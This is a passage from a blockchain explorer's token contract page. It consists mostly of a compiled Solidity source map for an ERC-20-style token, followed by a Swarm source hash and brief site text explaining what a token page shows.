;;;11806:64:0;;9474:2:1;11806:64:0;;;9456:21:1;9513:2;9493:18;;;9486:30;9552:34;9532:18;;;9525:62;-1:-1:-1;;;9603:18:1;;;9596:39;9652:19;;11806:64:0;9272:405:1;11806:64:0;11891:6;;-1:-1:-1;;;11891:6:0;;;;11887:1232;;;11921:41;11936:6;11944:9;11955:6;11921:14;:41::i;:::-;11914:48;;;;11887:1232;12011:13;;;;12006:146;;-1:-1:-1;;;;;12053:25:0;;;;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;12082:28:0;;;;;;:17;:28;;;;;;;;12053:57;12045:91;;;;-1:-1:-1;;;12045:91:0;;9884:2:1;12045:91:0;;;9866:21:1;9923:2;9903:18;;;9896:30;-1:-1:-1;;;9942:18:1;;;9935:52;10004:18;;12045:91:0;9682:346:1;12045:91:0;12217:4;12168:28;9749:18;;;:9;:18;;;;;;12293:13;;12269:37;;;;;;;12327:34;;-1:-1:-1;12355:6:0;;-1:-1:-1;;;12355:6:0;;;;12354:7;12327:34;:59;;;;-1:-1:-1;;;;;;12366:20:0;;;;;;:12;:20;;;;;;;;12365:21;12327:59;:74;;;;-1:-1:-1;12390:11:0;;;;;;;12327:74;12323:153;;;12422:38;12439:20;12422:16;:38::i;:::-;12491:11;;-1:-1:-1;;;;;12481:21:0;;;12491:11;;12481:21;12477:126;;12550:53;;;;;;;;;;;-1:-1:-1;;;12550:53:0;;;;;;;;-1:-1:-1;;;;;12550:17:0;;-1:-1:-1;12550:17:0;;;:9;:17;;;;;;;;:53;;12572:6;;12550:21;:53::i;:::-;-1:-1:-1;;;;;12530:17:0;;;;;;:9;:17;;;;;:73;12477:126;12620:19;12642:34;12659:6;12666:9;12642:16;:34::i;:::-;:80;;12688:34;12696:6;12704:9;12715:6;12688:7;:34::i;:::-;12642:80;;;12679:6;12642:80;12742:18;;12620:102;;-1:-1:-1;12742:18:0;;;;;:39;;;;-1:-1:-1;12774:7:0;;-1:-1:-1;;;;;12764:17:0;;;12774:7;;12764:17;12742:39;:74;;;;-1:-1:-1;;;;;;12786:30:0;;;;;;:19;:30;;;;;;;;12785:31;12742:74;12739:204;;;12886:10;;12845:37;12870:11;12845:20;12855:9;-1:-1:-1;;;;;9749:18:0;9723:7;9749:18;;;:9;:18;;;;;;;9657:123;12845:20;:24;;:37::i;:::-;:51;;12837:90;;;;-1:-1:-1;;;12837:90:0;;10235:2:1;12837:90:0;;;10217:21:1;10274:2;10254:18;;;10247:30;10313:29;10293:18;;;10286:57;10360:18;;12837:90:0;10033:351:1;12837:90:0;-1:-1:-1;;;;;12982:20:0;;;;;;:9;:20;;;;;;:37;;13007:11;12982:24;:37::i;:::-;-1:-1:-1;;;;;12959:20:0;;;;;;;:9;:20;;;;;;;:60;;;;13041:40;;;;;;;;;;13069:11;160:25:1;;148:2;133:18;;14:177;13041:40:0;;;;;;;;13103:4;13096:11;;;;;;;2820:192;2906:7;2942:12;2934:6;;;;2926:29;;;;-1:-1:-1;;;2926:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2966:9:0;2978:5;2982:1;2978;:5;:::i;:::-;2966:17;2820:192;-1:-1:-1;;;;;2820:192:0:o;2487:181::-;2545:7;;2577:5;2581:1;2577;:5;:::i;:::-;2565:17;;2606:1;2601;:6;;2593:46;;;;-1:-1:-1;;;2593:46:0;;10854:2:1;2593:46:0;;;10836:21:1;10893:2;10873:18;;;10866:30;10932:29;10912:18;;;10905:57;10979:18;;2593:46:0;10652:351:1;2281:173:0;2337:16;2356:6;;-1:-1:-1;;;;;2373:17:0;;;-1:-1:-1;;;;;;2373:17:0;;;;;;2406:40;;2356:6;;;;;;;2406:40;;2337:16;2406:40;2326:128;2281:173;:::o;3418:278::-;3504:7;3539:12;3532:5;3524:28;;;;-1:-1:-1;;;3524:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3563:9:0;3575:5;3579:1;3575;:5;:::i;13134:330::-;13264:53;;;;;;;;;;;-1:-1:-1;;;13264:53:0;;;;;;;;-1:-1:-1;;;;;13264:17:0;;13227:4;13264:17;;;:9;:17;;;;;;;:53;;13286:6;;13264:21;:53::i;:::-;-1:-1:-1;;;;;13244:17:0;;;;;;;:9;:17;;;;;;:73;;;;13351:20;;;;;;;:32;;13376:6;13351:24;:32::i;:::-;-1:-1:-1;;;;;13328:20:0;;;;;;;:9;:20;;;;;;;:55;;;;13399:35;;;;;;;;;;13427:6;160:25:1;;148:2;133:18;;14:177;13399:35:0;;;;;;;;-1:-1:-1;13452:4:0;13134:330;;;;;:::o;14497:648::-;14647:16;;;14661:1;14647:16;;;;;;;;14623:21;;14647:16;;;;;;;;;;-1:-1:-1;14647:16:0;14623:40;;14692:4;14674;14679:1;14674:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;14674:23:0;;;-1:-1:-1;;;;;14674:23:0;;;;;14718:9;;;;;;;;;-1:-1:-1;;;;;14718:9:0;-1:-1:-1;;;;;14718:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14708:4;14713:1;14708:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14708:26:0;;;:7;;;;;;;;;:26;14779:9;;14747:56;;14764:4;;14779:9;;;;14791:11;14747:8;:56::i;:::-;14842:9;;:234;;-1:-1:-1;;;14842:234:0;;:9;;;;-1:-1:-1;;;;;14842:9:0;;:60;;:234;;14917:11;;14943:1;;14987:4;;15014;;15050:15;;14842:234;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15102:35;15119:11;15132:4;15102:35;;;;;;;:::i;:::-;;;;;;;;14552:593;14497:648;:::o;13476:369::-;-1:-1:-1;;;;;13580:25:0;;13560:4;13580:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;13609:28:0;;;;;;:17;:28;;;;;;;;13580:57;13577:261;;;-1:-1:-1;13661:4:0;13654:11;;13577:261;-1:-1:-1;;;;;13696:20:0;;;;;;:12;:20;;;;;;;;;:47;;-1:-1:-1;;;;;;13720:23:0;;;;;;:12;:23;;;;;;;;13696:47;13692:146;;;-1:-1:-1;13767:5:0;13760:12;;13692:146;-1:-1:-1;13821:5:0;13814:12;;13853:636;-1:-1:-1;;;;;13999:20:0;;13939:7;13999:20;;;:12;:20;;;;;;13939:7;;13999:20;;13996:260;;;14049:43;14077:14;;14049:23;14060:11;;14049:6;:10;;:23;;;;:::i;:::-;:27;;:43::i;:::-;14037:55;;13996:260;;;-1:-1:-1;;;;;14123:23:0;;;;;;:12;:23;;;;;;;;14120:136;;;14229:14;;14203:11;;14186:12;;14175:69;;14229:14;14175:49;;14186:37;;-1:-1:-1;;;;;14203:11:0;:19;14186:16;:37::i;:::-;14175:6;;:10;:49::i;:69::-;14163:81;;14120:136;14271:13;;14268:173;;14346:4;14328:24;;;;:9;:24;;;;;;:39;;14357:9;14328:28;:39::i;:::-;14319:4;14301:24;;;;:9;:24;;;;;;;:66;;;;14387:42;;-1:-1:-1;;;;;14387:42:0;;;;;;;14419:9;160:25:1;;148:2;133:18;;14:177;14387:42:0;;;;;;;;14268:173;14460:21;:6;14471:9;2676:136;2734:7;2761:43;2765:1;2768;2761:43;;;;;;;;;;;;;;;;;:3;:43::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;981:131::-;-1:-1:-1;;;;;1056:31:1;;1046:42;;1036:70;;1102:1;1099;1092:12;1117:315;1185:6;1193;1246:2;1234:9;1225:7;1221:23;1217:32;1214:52;;;1262:1;1259;1252:12;1214:52;1301:9;1288:23;1320:31;1345:5;1320:31;:::i;:::-;1370:5;1422:2;1407:18;;;;1394:32;;-1:-1:-1;;;1117:315:1:o;1837:456::-;1914:6;1922;1930;1983:2;1971:9;1962:7;1958:23;1954:32;1951:52;;;1999:1;1996;1989:12;1951:52;2038:9;2025:23;2057:31;2082:5;2057:31;:::i;:::-;2107:5;-1:-1:-1;2164:2:1;2149:18;;2136:32;2177:33;2136:32;2177:33;:::i;:::-;1837:456;;2229:7;;-1:-1:-1;;;2283:2:1;2268:18;;;;2255:32;;1837:456::o;2487:247::-;2546:6;2599:2;2587:9;2578:7;2574:23;2570:32;2567:52;;;2615:1;2612;2605:12;2567:52;2654:9;2641:23;2673:31;2698:5;2673:31;:::i;2739:416::-;2804:6;2812;2865:2;2853:9;2844:7;2840:23;2836:32;2833:52;;;2881:1;2878;2871:12;2833:52;2920:9;2907:23;2939:31;2964:5;2939:31;:::i;:::-;2989:5;-1:-1:-1;3046:2:1;3031:18;;3018:32;3088:15;;3081:23;3069:36;;3059:64;;3119:1;3116;3109:12;3059:64;3142:7;3132:17;;;2739:416;;;;;:::o;3160:180::-;3219:6;3272:2;3260:9;3251:7;3247:23;3243:32;3240:52;;;3288:1;3285;3278:12;3240:52;-1:-1:-1;3311:23:1;;3160:180;-1:-1:-1;3160:180:1:o;3345:388::-;3413:6;3421;3474:2;3462:9;3453:7;3449:23;3445:32;3442:52;;;3490:1;3487;3480:12;3442:52;3529:9;3516:23;3548:31;3573:5;3548:31;:::i;:::-;3598:5;-1:-1:-1;3655:2:1;3640:18;;3627:32;3668:33;3627:32;3668:33;:::i;3738:380::-;3817:1;3813:12;;;;3860;;;3881:61;;3935:4;3927:6;3923:17;3913:27;;3881:61;3988:2;3980:6;3977:14;3957:18;3954:38;3951:161;;4034:10;4029:3;4025:20;4022:1;4015:31;4069:4;4066:1;4059:15;4097:4;4094:1;4087:15;3951:161;;3738:380;;;:::o;4123:356::-;4325:2;4307:21;;;4344:18;;;4337:30;4403:34;4398:2;4383:18;;4376:62;4470:2;4455:18;;4123:356::o;4830:251::-;4900:6;4953:2;4941:9;4932:7;4928:23;4924:32;4921:52;;;4969:1;4966;4959:12;4921:52;5001:9;4995:16;5020:31;5045:5;5020:31;:::i;6007:306::-;6095:6;6103;6111;6164:2;6152:9;6143:7;6139:23;6135:32;6132:52;;;6180:1;6177;6170:12;6132:52;6209:9;6203:16;6193:26;;6259:2;6248:9;6244:18;6238:25;6228:35;;6303:2;6292:9;6288:18;6282:25;6272:35;;6007:306;;;;;:::o;6725:127::-;6786:10;6781:3;6777:20;6774:1;6767:31;6817:4;6814:1;6807:15;6841:4;6838:1;6831:15;6857:168;6930:9;;;6961;;6978:15;;;6972:22;;6958:37;6948:71;;6999:18;;:::i;7030:217::-;7070:1;7096;7086:132;;7140:10;7135:3;7131:20;7128:1;7121:31;7175:4;7172:1;7165:15;7203:4;7200:1;7193:15;7086:132;-1:-1:-1;7232:9:1;;7030:217::o;10389:128::-;10456:9;;;10477:11;;;10474:37;;;10491:18;;:::i;10522:125::-;10587:9;;;10608:10;;;10605:36;;;10621:18;;:::i;11140:127::-;11201:10;11196:3;11192:20;11189:1;11182:31;11232:4;11229:1;11222:15;11256:4;11253:1;11246:15;11272:461;11325:3;11363:5;11357:12;11390:6;11385:3;11378:19;11416:4;11445:2;11440:3;11436:12;11429:19;;11482:2;11475:5;11471:14;11503:1;11513:195;11527:6;11524:1;11521:13;11513:195;;;11592:13;;-1:-1:-1;;;;;11588:39:1;11576:52;;11648:12;;;;11683:15;;;;11624:1;11542:9;11513:195;;;-1:-1:-1;11724:3:1;;11272:461;-1:-1:-1;;;;;11272:461:1:o;11738:582::-;12037:6;12026:9;12019:25;12080:6;12075:2;12064:9;12060:18;12053:34;12123:3;12118:2;12107:9;12103:18;12096:31;12000:4;12144:57;12196:3;12185:9;12181:19;12173:6;12144:57;:::i;:::-;-1:-1:-1;;;;;12237:32:1;;;;12232:2;12217:18;;12210:60;-1:-1:-1;12301:3:1;12286:19;12279:35;12136:65;11738:582;-1:-1:-1;;;11738:582:1:o;12325:332::-;12532:6;12521:9;12514:25;12575:2;12570;12559:9;12555:18;12548:30;12495:4;12595:56;12647:2;12636:9;12632:18;12624:6;12595:56;:::i;:::-;12587:64;12325:332;-1:-1:-1;;;;12325:332:1:o

Swarm Source

ipfs://e9fba87420716b54bd4e004123f7d0d770de4451b07e2238c699d220644ea02b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.